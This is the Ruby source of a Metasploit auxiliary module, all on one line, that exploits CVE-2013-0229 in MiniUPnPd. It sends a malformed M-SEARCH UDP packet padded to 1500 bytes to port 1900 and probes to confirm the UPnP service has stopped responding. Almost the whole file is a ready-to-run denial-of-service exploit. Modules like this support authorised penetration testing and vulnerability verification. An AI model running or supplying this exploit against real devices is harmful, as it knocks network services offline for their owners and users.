## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit', 'Description' => %q{ This module allows remote attackers to cause a denial of service (DoS) in MiniUPnP 1.0 server via a specifically crafted UDP request. }, 'Author' => [ 'hdm', # Vulnerability discovery 'Dejan Lukan' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-0229' ], [ 'OSVDB', '89625' ], [ 'BID', '57607' ], [ 'URL', 'https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf' ] ], 'DisclosureDate' => 'Mar 27 2013', )) register_options( [ Opt::RPORT(1900), OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ]) ], self.class) end def send_probe(udp_sock, probe) udp_sock.put(probe) data = udp_sock.recvfrom if data and not data[0].empty? return data[0] else return nil end end def run # the M-SEARCH probe packet that tries to identify whether the service is up or not msearch_probe = "M-SEARCH * HTTP/1.1\r\n" msearch_probe << "Host:239.255.255.250:1900\r\n" msearch_probe << "ST:upnp:rootdevice\r\n" msearch_probe << "Man:\"ssdp:discover\"\r\n" msearch_probe << "MX:3\r\n" msearch_probe << "\r\n" # the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the # ST line sploit = "M-SEARCH * HTTP/1.1\r\n" sploit << "HOST: 239.255.255.250:1900\r\n" sploit << "ST:uuid:schemas:device:MX:3" # the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t' # this makes the DoS exploit more probable, since we're occupying the stack with arbitrary # characters: there's more chance that the the program will run off the stack. sploit += ' '*(1500-sploit.length) # connect to the UDP port connect_udp print_status("#{rhost}:#{rport} - Checking UPnP...") response = send_probe(udp_sock, msearch_probe) if response.nil? print_error("#{rhost}:#{rport} - UPnP end not found") disconnect_udp return end (1..datastore['ATTEMPTS']).each { |attempt| print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...") # send the exploit to the target print_status("#{rhost}:#{rport} - Sending malformed packet...") udp_sock.put(sploit) # send the probe to the target print_status("#{rhost}:#{rport} - The target should be unresponsive now...") response = send_probe(udp_sock, msearch_probe) if response.nil? print_good("#{rhost}:#{rport} - UPnP unresponsive") disconnect_udp return else print_status("#{rhost}:#{rport} - UPnP is responsive still") end } disconnect_udp end end